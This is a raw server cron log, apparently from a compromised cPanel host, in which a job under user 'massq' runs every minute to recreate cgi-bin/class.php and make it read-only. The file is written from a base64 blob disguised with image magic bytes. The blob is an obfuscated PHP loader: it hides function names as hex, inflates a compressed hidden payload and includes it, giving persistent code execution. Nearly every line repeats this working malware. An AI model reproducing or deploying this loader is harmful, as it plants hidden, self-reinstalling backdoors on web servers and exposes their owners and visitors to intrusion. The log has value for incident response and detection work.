Nov  9 23:51:01 server CROND[8638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:52:01 server CROND[9467]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:53:01 server CROND[10282]: (root) CMD (/usr/lib64/sa/sa2 -A)
Nov  9 23:53:01 server CROND[10283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:54:01 server CROND[11152]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:55:01 server CROND[11971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 23:55:01 server CROND[11969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:55:01 server CROND[11970]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 23:56:01 server CROND[12906]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:57:01 server CROND[13768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:57:01 server CROND[13769]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 23:58:01 server CROND[14576]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 23:59:01 server CROND[15214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:00:01 server CROND[16035]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 00:00:01 server CROND[16036]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 10 00:00:01 server CROND[16041]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:00:01 server CROND[16040]: (root) CMD (/usr/sbin/csf --lfd restart &gt; /dev/null 2&gt;&amp;1)
Nov 10 00:00:01 server CROND[16043]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:00:01 server CROND[16042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:01:01 server CROND[17182]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:01:01 server CROND[17183]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 00:01:01 server run-parts(/etc/cron.hourly)[17183]: starting 0anacron
Nov 10 00:01:01 server anacron[17195]: Anacron started on 2025-11-10
Nov 10 00:01:01 server run-parts(/etc/cron.hourly)[17198]: finished 0anacron
Nov 10 00:01:01 server anacron[17195]: Normal exit (0 jobs run)
Nov 10 00:02:01 server CROND[18022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:03:01 server CROND[18787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
